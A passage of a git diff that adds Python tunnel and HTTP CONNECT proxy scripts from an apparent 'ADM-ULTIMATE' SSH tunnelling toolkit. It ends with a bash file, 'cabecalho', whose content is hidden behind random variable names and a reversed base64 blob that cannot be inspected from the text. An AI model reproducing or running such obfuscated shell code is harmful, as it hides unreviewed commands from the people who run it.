True + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + + self.log('opennig connection - ' + str(addr), Logger.LOG_INFO) + self.acceptClient(c) + except socket.timeout: + continue + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + self.running = False + self.close() + + def acceptClient(self, socket): + accept = AcceptClient(socket, self, self.passwdSet) + accept.start() + + def addClient(self, client): + with self.clientsLock: + self.clients.append(client) + + def removeClient(self, client): + with self.clientsLock: + self.clients.remove(client) + + def getClient(self, id): + client = None + with self.clientsLock: + for c in self.clients: + if str(c.id) == str(id): + client = c + break + return client + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'soc'): + try: + self.soc.close() + except: + pass + + with self.clientsLock: + clientsCopy = self.clients[:] + + for c in clientsCopy: + c.close() + + self.log('closed', Logger.LOG_INFO) + + def log(self, msg, logLevel): + msg = 'Server: ' + msg + self.logger.printLog(msg, logLevel) + + + + +def print_usage(): + print '\nUsage : python get.py -b listening -p pass' + print 'Ex. : python get.py -b 0.0.0.0:80 -p pass123' + print ' : python get.py -b 0.0.0.0:80 -p passFile.pwd\n' + print '___Password file ex.:___' + print PasswordSet.FILE_EXEMPLE + +def parse_args(argv): + global CONFIG_LISTENING + global CONFIG_PASS + + try: + opts, args = getopt.getopt(argv, "hb:p:", ["bind=", "pass="]) + except getopt.GetoptError: + print_usage() + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print_usage() + sys.exit() + elif opt in ('-b', '--bind'): + CONFIG_LISTENING = arg + elif opt in ('-p', '--pass'): + CONFIG_PASS = arg + +def main(): + print '\n-->GetTunnelPy - Server v.' + '25/06/2017' + '\n' + print '-->Listening: ' + CONFIG_LISTENING + + pwdSet = None + + if not CONFIG_PASS is None: + if CONFIG_PASS.endswith('.pwd'): + pwdSet = PasswordSet() + + try: + isValidFile = pwdSet.parseFile(CONFIG_PASS) + except IOError as e: + print '--#Error reading file: ' + str(type(e)) + ' - ' + str(e) + sys.exit() + + if not isValidFile: + print '--#Error on parsing file!\n' + print_usage() + return + + print '-->Pass file: ' + CONFIG_PASS + '\n' + else: + if (len(CONFIG_PASS) > 0): + print '-->Pass : yes\n' + pwdSet = PasswordSet(CONFIG_PASS) + else: + print '-->Pass : no\n' + + server = Server(CONFIG_LISTENING) + server.passwdSet = pwdSet + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print '<-> Stopping server...' + server.running = False + break + +if __name__ == '__main__': + parse_args(sys.argv[1:]) + main() diff --git a/Lista/POpen.py b/Lista/POpen.py new file mode 100644 index 0000000..d706c1b --- /dev/null +++ b/Lista/POpen.py @@ -0,0 +1,313 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, 'SOCKS5') + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + +# Port + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 80 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/Lista/PPriv.py b/Lista/PPriv.py new file mode 100644 index 0000000..83a4687 --- /dev/null +++ b/Lista/PPriv.py @@ -0,0 +1,335 @@ +#!/usr/bin/env python + +# -*- coding: utf-8 -*- +# Edit By GlEmYsSoN & @e8th4ever + +from pprint import pprint +import sys +import http.client +from socketserver import ThreadingMixIn +from http.server import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from io import StringIO +from urllib.parse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback +import subprocess +subprocess.call("clear",shell=True) + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = 'ADM-ULTIMATE' + +if sys.argv[3:]: + server = sys.argv[3] +else: + server = "127.0.0.1" + +msg2 = 'Server Forbidden' + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print('-'*40, file=sys.stderr) + print('Exception happened during processing of request from', client_address, file=sys.stderr) + traceback.print_exc() + print('-'*40, file=sys.stderr) + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + req = self + reqbody = None + if ':22' in req.path: + hostip = req.path.replace(':22', '') + elif ':443' in req.path: + hostip = req.path.replace(':443', '') + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + if not server.find(hostip) != -1: + self.send_error(403, msg2) + self.close_connection + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in list(res.headers.items()): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except http.client.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = http.client.HTTPSConnection(netloc) + else: + conn = http.client.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + port = int(sys.argv[1]) + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print("Servidor: " + str(sa[0]) + " Porta " + str(sa[1])) + httpd.serve_forever() + + +if __name__ == '__main__': + test() diff --git a/Lista/PPub.py b/Lista/PPub.py new file mode 100644 index 0000000..572ec97 --- /dev/null +++ b/Lista/PPub.py @@ -0,0 +1,318 @@ +#!/usr/bin/env python + +import sys +import httplib +from SocketServer import ThreadingMixIn +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Lock, Timer +from cStringIO import StringIO +from urlparse import urlsplit +import socket +import select +import gzip +import zlib +import re +import traceback + +if sys.argv[2:]: + msg1 = sys.argv[2] +else: + msg1 = "ADM-ULTIMATE" + + +class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): + + address_family = socket.AF_INET + + def handle_error(self, request, client_address): + + print >>sys.stderr, '-'*40 + print >>sys.stderr, 'Exception happened during processing of request from', client_address + traceback.print_exc() + print >>sys.stderr, '-'*40 + + +class ThreadingHTTPServer6(ThreadingHTTPServer): + + address_family = socket.AF_INET6 + + +class SimpleHTTPProxyHandler(BaseHTTPRequestHandler): + global_lock = Lock() + conn_table = {} + timeout = 300 + upstream_timeout = 300 + proxy_via = None + + def log_error(self, format, *args): + if format == "Request timed out: %r": + return + self.log_message(format, *args) + + def do_CONNECT(self): + + + req = self + reqbody = None + req.path = "https://%s/" % req.path.replace(':443', '') + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + + u = urlsplit(req.path) + address = (u.hostname, u.port or 443) + try: + conn = socket.create_connection(address) + except socket.error: + return + self.send_response(200, msg1) + self.send_header('Connection', 'close') + self.end_headers() + + conns = [self.connection, conn] + keep_connection = True + while keep_connection: + keep_connection = False + rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) + if xlist: + break + for r in rlist: + other = conns[1] if r is conns[0] else conns[0] + data = r.recv(8192) + if data: + other.sendall(data) + keep_connection = True + conn.close() + + def do_HEAD(self): + self.do_SPAM() + + def do_GET(self): + self.do_SPAM() + + def do_POST(self): + self.do_SPAM() + + def do_SPAM(self): + req = self + content_length = int(req.headers.get('Content-Length', 0)) + if content_length > 0: + reqbody = self.rfile.read(content_length) + else: + reqbody = None + + replaced_reqbody = self.request_handler(req, reqbody) + if replaced_reqbody is True: + return + elif replaced_reqbody is not None: + reqbody = replaced_reqbody + if 'Content-Length' in req.headers: + req.headers['Content-Length'] = str(len(reqbody)) + + + self.remove_hop_by_hop_headers(req.headers) + if self.upstream_timeout: + req.headers['Connection'] = 'Keep-Alive' + else: + req.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(req.headers) + + try: + res, resdata = self.request_to_upstream_server(req, reqbody) + except socket.error: + return + + content_encoding = res.headers.get('Content-Encoding', 'identity') + resbody = self.decode_content_body(resdata, content_encoding) + + replaced_resbody = self.response_handler(req, reqbody, res, resbody) + if replaced_resbody is True: + return + elif replaced_resbody is not None: + resdata = self.encode_content_body(replaced_resbody, content_encoding) + if 'Content-Length' in res.headers: + res.headers['Content-Length'] = str(len(resdata)) + resbody = replaced_resbody + + self.remove_hop_by_hop_headers(res.headers) + if self.timeout: + res.headers['Connection'] = 'Keep-Alive' + else: + res.headers['Connection'] = 'close' + if self.proxy_via: + self.modify_via_header(res.headers) + + self.send_response(res.status, res.reason) + for k, v in res.headers.items(): + if k == 'set-cookie': + + for value in self.split_set_cookie_header(v): + self.send_header(k, value) + else: + self.send_header(k, v) + self.end_headers() + + if self.command != 'HEAD': + self.wfile.write(resdata) + with self.global_lock: + self.save_handler(req, reqbody, res, resbody) + + def request_to_upstream_server(self, req, reqbody): + u = urlsplit(req.path) + origin = (u.scheme, u.netloc) + + + req.headers['Host'] = u.netloc + selector = "%s?%s" % (u.path, u.query) if u.query else u.path + + while True: + with self.lock_origin(origin): + conn = self.open_origin(origin) + try: + conn.request(req.command, selector, reqbody, headers=dict(req.headers)) + except socket.error: + + self.close_origin(origin) + raise + try: + res = conn.getresponse(buffering=True) + except httplib.BadStatusLine as e: + if e.line == "''": + + self.close_origin(origin) + continue + else: + raise + resdata = res.read() + res.headers = res.msg + if not self.upstream_timeout or 'close' in res.headers.get('Connection', ''): + self.close_origin(origin) + else: + self.reset_timer(origin) + return res, resdata + + def lock_origin(self, origin): + d = self.conn_table.setdefault(origin, {}) + if not 'lock' in d: + d['lock'] = Lock() + return d['lock'] + + def open_origin(self, origin): + conn = self.conn_table[origin].get('connection') + if not conn: + scheme, netloc = origin + if scheme == 'https': + conn = httplib.HTTPSConnection(netloc) + else: + conn = httplib.HTTPConnection(netloc) + self.reset_timer(origin) + self.conn_table[origin]['connection'] = conn + return conn + + def reset_timer(self, origin): + timer = self.conn_table[origin].get('timer') + if timer: + timer.cancel() + if self.upstream_timeout: + timer = Timer(self.upstream_timeout, self.close_origin, args=[origin]) + timer.daemon = True + timer.start() + else: + timer = None + self.conn_table[origin]['timer'] = timer + + def close_origin(self, origin): + timer = self.conn_table[origin]['timer'] + if timer: + timer.cancel() + conn = self.conn_table[origin]['connection'] + conn.close() + del self.conn_table[origin]['connection'] + + def remove_hop_by_hop_headers(self, headers): + hop_by_hop_headers = ['Connection', 'Keep-Alive', 'Proxy-Authenticate', 'Proxy-Authorization', 'TE', 'Trailers', 'Trailer', 'Transfer-Encoding', 'Upgrade'] + connection = headers.get('Connection') + if connection: + keys = re.split(r',\s*', connection) + hop_by_hop_headers.extend(keys) + + for k in hop_by_hop_headers: + if k in headers: + del headers[k] + + def modify_via_header(self, headers): + via_string = "%s %s" % (self.protocol_version, self.proxy_via) + via_string = re.sub(r'^HTTP/', '', via_string) + + original = headers.get('Via') + if original: + headers['Via'] = original + ', ' + via_string + else: + headers['Via'] = via_string + + def decode_content_body(self, data, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO(data) + with gzip.GzipFile(fileobj=io) as f: + body = f.read() + elif content_encoding == 'deflate': + body = zlib.decompress(data) + elif content_encoding == 'identity': + body = data + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return body + + def encode_content_body(self, body, content_encoding): + if content_encoding in ('gzip', 'x-gzip'): + io = StringIO() + with gzip.GzipFile(fileobj=io, mode='wb') as f: + f.write(body) + data = io.getvalue() + elif content_encoding == 'deflate': + data = zlib.compress(body) + elif content_encoding == 'identity': + data = body + else: + raise Exception("Unknown Content-Encoding: %s" % content_encoding) + return data + + def split_set_cookie_header(self, value): + re_cookies = r'([^=]+=[^,;]+(?:;\s*Expires=[^,]+,[^,;]+|;[^,;]+)*)(?:,\s*)?' + return re.findall(re_cookies, value, flags=re.IGNORECASE) + + def request_handler(self, req, reqbody): + + pass + + def response_handler(self, req, reqbody, res, resbody): + + pass + + def save_handler(self, req, reqbody, res, resbody): + + pass + + + + +def test(HandlerClass=SimpleHTTPProxyHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1"): + if sys.argv[1:]: + port = int(sys.argv[1]) + else: + port = 8799 + server_address = ('', port) + + HandlerClass.protocol_version = protocol + httpd = ServerClass(server_address, HandlerClass) + + sa = httpd.socket.getsockname() + print "Serving HTTP on", sa[0], "port", sa[1], "..." + httpd.serve_forever() + + +if __name__ == '__main__': + test() + diff --git a/Lista/cabecalho b/Lista/cabecalho new file mode 100755 index 0000000..f746cdc --- /dev/null +++ b/Lista/cabecalho @@ -0,0 +1,2 @@ +#!/bin/bash +oJNgNRIdnhZEoZQcHPiSSldetuKfHRWJuWtGZWkRpiUCyEUBIYJLxwnTYNjpCXdTXxoxaTYRZLHuhQmJOKxsucyExhoDcNlzFPwx="KaxLUyEFSxIMxzQISeRNZjAMCDoyCWVuXiTQAsNByqQhPPaEpxhuPasswPKybALiIfcrtGWvmptCYosulJxaTNGJaidJXKqqFoOz";jYwGUIHpJKsWGtvLPrNlYGAWslwdxXLfbqIyQCFPgKATvmwJNAfYXvSVDtxnUqimQfFpbOQapIGUvLlasyblNuoRKCsqYWNEukYl="FTfsNrTLXOriLyNZkJBteapGTNwsyowvwdGePLCcvWGaUzppyGlyWPLEGNzxTAjYocaqZOfvPTbCuGBCEnmKLqaaADJQmCPLIGII";sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ="ch";xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws="4";sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI="";xKZhCpbyRkXuifEihEsiSUQGDvrSnOtgLTGoBXocKumEzHdZlEbJxjGCRyFhJAOyLDmFQawKMuRAKEOfECbSUmiShDhVSokWDgBZ="hOAiPXAGhscDroXjakCAhJcivqpgBdtGBRAYFiqKKGHWzVDCMNgtgSItkWefPkWcPknbOzGhmDHHIlTtLJrYrDdidjyLOEFYKbyA";jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo=" ==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